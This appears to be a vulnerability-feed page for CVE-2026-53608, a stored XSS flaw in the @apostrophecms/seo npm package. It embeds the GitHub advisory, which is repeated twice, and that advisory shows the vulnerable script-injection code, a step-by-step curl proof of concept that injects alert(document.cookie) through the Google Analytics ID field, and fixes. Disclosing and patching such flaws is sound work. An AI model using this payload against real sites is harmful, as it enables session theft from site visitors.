Answer in brief
CVE-2026-53608 records a High severity xss vulnerability in @apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
Answer in brief
CVE-2026-53608 records a High severity xss vulnerability in @apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
Update @apostrophecms/seo to 1.5.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanXSS describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-53608 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| @apostrophecms/seonpm | <=1.4.2 | 1.5.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-53608 records a High severity xss vulnerability in @apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for @apostrophecms/seo.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate @apostrophecms/seo to 1.5.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanXSS describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-53608 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| @apostrophecms/seonpm | <=1.4.2 | 1.5.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-53608 records a High severity xss vulnerability in @apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for @apostrophecms/seo.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard<img width="1919" height="1046" alt="curl" src="https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6" /> <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d" /> ### Summary The `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. ### Details The vulnerable code is in `node_modules/@apostrophecms/seo/lib/nodes.js`. **Google Analytics (lines 218–224):** ```javascript // seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation body: [ { raw: ` window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', '${global.seoGoogleTrackingId}'); ` } ] ``` **Google Tag Manager (lines 358–362):** ```javascript body: [ { raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');` } ] ``` These nodes are rendered by `renderNodes()` in ApostropheCMS core (`modules/@apostrophecms/template/index.js` lines 1176–1177): ```javascript if (node.raw != null) { return node.raw; // returned verbatim, no escaping } ``` The fields `seoGoogleTrackingId` and `seoGoogleTagManager` are defined as plain `type: 'string'` values with no pattern, minimum length, or maximum length validation in `seo-fields-global/index.js` lines 347–352. ApostropheCMS's permission model (`@apostrophecms/permission/index.js` line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue. ### PoC **Prerequisites:** ApostropheCMS with `@apostrophecms/seo` installed and `seoGoogleAnalytics: true` enabled in module options. An editor-level account. #### Step 1 — Login as editor ```bash curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \ -H 'Content-Type: application/json' \ -d '{"username":"editor","password":"password"}' ``` Response: ```json {"token":"YOUR_TOKEN"} ``` #### Step 2 — Get the global document ID ```bash curl -s -H "Authorization: Bearer YOUR_TOKEN" \ http://TARGET/api/v1/@apostrophecms/global ``` Note the `_id` value ending in `:en:draft`. #### Step 3 — Inject payload into Google Analytics ID ```bash curl -s -X PATCH "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer YOUR_TOKEN" \ -d '{"seoGoogleTrackingId":"G-FAKE'"'"'); alert(document.cookie); //"}' ``` #### Step 4 — Publish ```bash curl -s -X POST "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish" \ -H "Authorization: Bearer YOUR_TOKEN" ``` #### Step 5 — Visit any page The injected payload appears in `<head>` and executes: ```html <script> gtag('config', 'G-FAKE'); alert(document.cookie); //'); </script> ``` ### Impact This is a Stored Cross-Site Scripting (XSS) vulnerability. Any user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site. Impact includes: - Session token theft of all visitors, including other editors and administrators - Full account takeover via stolen administrator cookies - Malware distribution, phishing overlays, or credential harvesting targeting site visitors - Persistent compromise, as the payload remains active until manually removed ### Remediation Validate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies. ```javascript // Validate format before accepting if (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) { throw new Error('Invalid tracking ID format'); } ``` ```javascript // Use safeJsonForScript instead of raw template literals body: [ { json: global.seoGoogleTrackingId } ] ``` Or: ```javascript // Escape the value before insertion raw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});` ``` <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/4f1d6708-093a-4f74-828b-937dbeab62e8" />
<img width="1919" height="1046" alt="curl" src="https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6" /> <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d" /> ### Summary The `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. ### Details The vulnerable code is in `node_modules/@apostrophecms/seo/lib/nodes.js`. **Google Analytics (lines 218–224):** ```javascript // seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation body: [ { raw: ` window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', '${global.seoGoogleTrackingId}'); ` } ] ``` **Google Tag Manager (lines 358–362):** ```javascript body: [ { raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');` } ] ``` These nodes are rendered by `renderNodes()` in ApostropheCMS core (`modules/@apostrophecms/template/index.js` lines 1176–1177): ```javascript if (node.raw != null) { return node.raw; // returned verbatim, no escaping } ``` The fields `seoGoogleTrackingId` and `seoGoogleTagManager` are defined as plain `type: 'string'` values with no pattern, minimum length, or maximum length validation in `seo-fields-global/index.js` lines 347–352. ApostropheCMS's permission model (`@apostrophecms/permission/index.js` line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue. ### PoC **Prerequisites:** ApostropheCMS with `@apostrophecms/seo` installed and `seoGoogleAnalytics: true` enabled in module options. An editor-level account. #### Step 1 — Login as editor ```bash curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \ -H 'Content-Type: application/json' \ -d '{"username":"editor","password":"password"}' ``` Response: ```json {"token":"YOUR_TOKEN"} ``` #### Step 2 — Get the global document ID ```bash curl -s -H "Authorization: Bearer YOUR_TOKEN" \ http://TARGET/api/v1/@apostrophecms/global ``` Note the `_id` value ending in `:en:draft`. #### Step 3 — Inject payload into Google Analytics ID ```bash curl -s -X PATCH "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer YOUR_TOKEN" \ -d '{"seoGoogleTrackingId":"G-FAKE'"'"'); alert(document.cookie); //"}' ``` #### Step 4 — Publish ```bash curl -s -X POST "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish" \ -H "Authorization: Bearer YOUR_TOKEN" ``` #### Step 5 — Visit any page The injected payload appears in `<head>` and executes: ```html <script> gtag('config', 'G-FAKE'); alert(document.cookie); //'); </script> ``` ### Impact This is a Stored Cross-Site Scripting (XSS) vulnerability. Any user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site. Impact includes: - Session token theft of all visitors, including other editors and administrators - Full account takeover via stolen administrator cookies - Malware distribution, phishing overlays, or credential harvesting targeting site visitors - Persistent compromise, as the payload remains active until manually removed ### Remediation Validate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies. ```javascript // Validate format before accepting if (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) { throw new Error('Invalid tracking ID format'); } ``` ```javascript // Use safeJsonForScript instead of raw template literals body: [ { json: global.seoGoogleTrackingId } ] ``` Or: ```javascript // Escape the value before insertion raw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});` ``` <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/4f1d6708-093a-4f74-828b-937dbeab62e8" />